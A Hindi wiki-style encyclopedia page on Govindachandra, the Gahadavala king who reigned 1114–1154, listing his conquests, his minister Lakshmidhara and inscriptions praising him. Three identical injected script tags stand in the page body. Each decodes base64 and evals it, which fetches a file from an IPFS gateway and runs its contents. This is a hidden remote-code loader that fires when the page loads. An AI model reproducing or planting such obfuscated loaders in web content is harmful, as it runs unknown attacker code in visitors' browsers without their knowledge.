गोविन्द चन्द्र

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:26, 27 जुलाई 2012 का अवतरण (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�)
यहाँ जाएँ:भ्रमण, खोजें
  • मदन चन्द्र का पुत्र एवं उत्तराधिकारी गोविन्द्र चन्द्र गहड़वाल शासक बना।
  • इस वंश का वह सर्वाधिक शक्तिशाली राजा था।
  • कृत्यकल्पतरु का लेखक लक्ष्मीधर इसका मंत्री था।
  • उसने अपने राज्य की सीमा को उत्तर प्रदेश से आगे मगध तक विस्तृत किया और मालवा को भी जीत लिया।
  • युवराज के रूप में उसने ग़ज़नी के राजा मसूद तृतीय को पराजित किया था।
  • कश्मीर, गुजरात एवं चोल वंश के शासकों से उसके मैत्रीपूर्ण सम्बन्ध थे।
  • गहड़वाल के इस प्रतापी शासक ने 1114 से 1154 ई. तक शासन किया।
  • गोविन्द्र चन्द्र के उत्तराधिकारी विजय चन्द्र (1156 से 1170 ई.) ने गहड़वाल राज्य की सीमाओं को सुरक्षित रखा।
  • 'पृथ्वीराजरासो' से ज्ञात होता है कि उसने अमीर ख़ुसरो को लाहौर से खदेड़ दिया था।
  • गोविन्द चन्द्र में समय में उसके मंत्री लक्ष्मीधर ने 'कल्पद्रुम' नामक विधि ग्रंथ की रचना की।
  • गोविन्द्र चन्द्र बड़ा विद्धान था।
  • उसे उसके लेखों में 'विविध विद्याविचार वायस्पति' कहा गया है।
  • गोविन्द चन्द्र की रानी कुमार देवी के सारनाथ अभिलेखों में गोविन्द्रचन्द्र को बनारस की तुर्को से रक्षा के लिए 'हरि का अवतार' कहा गया है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>